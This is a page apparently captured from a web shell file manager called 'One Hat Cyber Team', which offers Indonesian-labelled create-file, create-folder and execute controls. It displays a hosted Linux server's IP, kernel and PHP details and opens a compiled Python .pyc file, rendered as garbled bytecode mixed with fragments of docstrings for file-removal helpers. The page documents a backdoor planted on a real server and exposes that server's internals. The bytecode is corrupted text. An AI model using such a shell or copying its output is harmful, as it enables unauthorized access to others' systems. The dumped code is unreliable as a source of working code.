⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.55
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
opt
/
nydus
/
ops
/
primordial
/
__pycache__
/
View File Name :
fileutils.cpython-39.pyc
a ���g � @ s| d dl Z d dlZd dlZd dlZd dlmZmZmZ zd dlm Z W n e yV Y n0 zd dlmZ W n e yz Y n0 d dl mZ d dlZzd dlZd dlZW n e y� Y n0 d dlmZmZ dZdZe�e�Ze j ed �d d�Zdeeeeef dd�d d�Zedd�dd�Zedd�dd�Z eedd�dd�Z!deeee dd�dd�Z"d eeee ee dd�dd�Z#dS )!� N)�Any�Optional�Tuple)�getpwnam)�getgrnam)�rmtree)�get_file_group� get_file_userg �?� )�in_time�returnc C s t | t�ddd� �� �S )zpReturn integer seconds since epoch. :param in_time: Datetime :returns: Integer seconds since epoch i� � )�int�datetime� total_seconds)r � r �E/opt/nydus/tmp/pip-target-mke_irhy/lib/python/primordial/fileutils.py�datetime_to_epoch_seconds# s r )�filename�timesr c C s: t | d�� t�| |� W d � n1 s,0 Y dS )a0 Set the atime and mtime of a file. .. note:: Linux (MAYBE Windows) ONLY. This does not work on Mac OSX. :param filename: The file to touch :param times: a two-tuple of (atime, mtime) where these are integer seconds since epoch; see os.utimes :raises OSError: if file doesn't exist �aN)�open�os�utime)r r r r r �touch, s r )�pathr c C sD zt | � W n2 ty> } ztd| �|�W Y d}~n d}~0 0 dS )zySimple rmtree wrapper :param path: path to recursively remove :raises: IOError if the path can't be removed �Failed to remove %sN)r �OSError�IOError)r �er r r �rm_path: s r )r r c C sF zt �| � W n2 ty@ } ztd| �|�W Y d}~n d}~0 0 dS )zuSimple remove wrapper :param filename: filename to remove :raises: IOError if the file can't be removed r N)r �remover r )r r r r r �rm_fileF s r"